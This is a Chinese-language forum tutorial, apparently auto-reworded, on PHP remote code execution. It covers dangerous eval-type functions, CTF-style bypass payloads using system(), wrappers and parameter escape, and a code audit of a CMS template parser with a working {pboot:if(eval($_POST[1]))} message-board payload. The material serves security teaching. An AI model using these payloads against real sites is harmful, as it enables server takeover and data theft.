解密RCE毛病:原理分析、复现与代码审计实战

打印 上一主题 下一主题

主题 844|帖子 844|积分 2532

在网络安全范畴,长途代码实行(RCE)毛病因其严重性和粉碎力而备受关注。RCE毛病允许攻击者在目的体系上实行任意代码,从而掌控整个体系,带来极大的安全风险。理解RCE毛病的工作原理,并把握其复现与代码审计技巧,对于提升体系安全性至关重要。
本文将深入分析RCE毛病的原理,展示如安在现实环境中复现该毛病,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开辟者,都能从中获得实用的知识和技能。让我们一起解密RCE毛病,提升我们的安全防护能力。

  • 概念

    • 长途代码实行(RCE)毛病是一种严重的安全毛病,它允许攻击者在目的体系上长途实行任意代码。通过利用RCE毛病,攻击者可以完全控制受害体系,实行恶意操作,如窃取敏感数据、安装恶意软件、粉碎体系功能等。RCE毛病通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使体系实行,从而到达控制目的体系的目的。这类毛病的利用不仅对体系安全构成重大威胁,而且大概导致严重的经济损失和数据泄露,因此辨认和修复RCE毛病对确保体系安全至关重要。

  • 利用函数

    • php

      • eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等

    • python

      • eval exec subprocess os.system commands

    • java

      • java中没有类似php中的eval函数这种直接可以将字符串转化为代码实行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等


  • 复现

    • 基本使用

      • 源码
        1. <?php
        2. error_reporting(0);          //排除错误
        3. if(isset($_GET['c'])){       //get传参不为空,执行if语句
        4.     $c = $_GET['c'];         //get传参,赋值给变量c
        5.     if(!preg_match("/flag/i", $c)){   //过滤flag
        6.         eval($c);            //执行c表达式
        7.     }
        8. }else{
        9.     highlight_file(__FILE__);
        10. }
        11. payload:
        12. ?c=system('tac fla*.php');
        13. ?c=echo shell_exec('tac fla*');
        14. ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
        复制代码

    • 参数逃逸

      • 源码
        1. <?php
        2. error_reporting(0);
        3. if(isset($_GET['c'])){
        4.     $c = $_GET['c'];
        5.     if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        6.         eval($c);
        7.     }
        8. }else{
        9.     highlight_file(__FILE__);
        10. }
        11. ?>  
        12. payload:
        13. ?c=eval($_GET[1]);&1=phpinfo();
        复制代码


    • 伪协议

      • 源码同上
        1. payload:
        2. ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>
        3. payload2
        4. get:?c=include$_GET[a]?>&a=php://input
        5. post:<?php system('tac flag.php');?>
        6. payload3
        7. ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
        复制代码





代码审计


  • 靶场搭建

    • 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
    • 下载靶场,在config.php文件中填入授权码,安装靶场

  • 流程

    • 导入文件,搜索常用的下令实行函数eval



    • 看到eval的来源变量matches



    • 本文搜索matches的数据来源,来源于parserSiteLabel函数



    • 全局搜索parserSiteLabel函数,看到parserCommom函数



    • 全局搜索parserCommom函数,到达AboutController.php

      • 名称与网站对应关系


    • 有前端与后端结合可知,前端的留言板是在AboutController.php上的



    • 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

      • 代码
        1. public function parserIfLabel($content)
        2.     {
        3.         $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
        4.         $pattern2 = '/pboot:([0-9])+if/';
        5.         if (preg_match_all($pattern, $content, $matches)) {
        6.             $count = count($matches[0]);
        7.             for ($i = 0; $i < $count; $i ++) {
        8.                 $flag = '';
        9.                 $out_html = '';
        10.                 // 对于无参数函数不执行解析工作
        11.                 if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {
        12.                     continue;
        13.                 }
        14.                 eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
        15.                 if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
        16.                     switch ($flag) {
        17.                         case 'if': // 条件为真
        18.                             if (isset($matches2[1])) {
        19.                                 $out_html = $matches2[1];
        20.                             }
        21.                             break;
        22.                         case 'else': // 条件为假
        23.                             if (isset($matches2[2])) {
        24.                                 $out_html = $matches2[2];
        25.                             }
        26.                             break;
        27.                     }
        28.                 } elseif ($flag == 'if') {
        29.                     $out_html = $matches[2][$i];
        30.                 }
        31.                 // 无限极嵌套解析
        32.                 if (preg_match($pattern2, $out_html, $matches3)) {
        33.                     $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
        34.                     $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
        35.                     $out_html = $this->parserIfLabel($out_html);
        36.                 }
        37.                 // 执行替换
        38.                 $content = str_replace($matches[0][$i], $out_html, $content);
        39.             }
        40.         }
        41. payload:
        42. 留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
        43. payload2:
        44. 留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
        45. //记得要在后台把状态打开,不然无回显,头疼!!!!
        复制代码




通过本次学习,我们不仅深入了解了RCE毛病的原理,还把握了复现该毛病的具体步骤和代码审计的方法。安全防护不仅是技能问题,更是一种意识和态度。通过对RCE毛病的全面分析,我们可以或许更好地辨认和修复潜在的安全风险,从而保护我们的体系和数据安全。
在信息安全的蹊径上,没有尽头。希望本文能为您在安全防护方面提供有价值的指导和资助,激发您对网络安全的持续关注和兴趣。让我们共同积极,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的发起,接待在批评区与我们互动。感谢您的阅读,期待您的反馈与分享!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

八卦阵

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表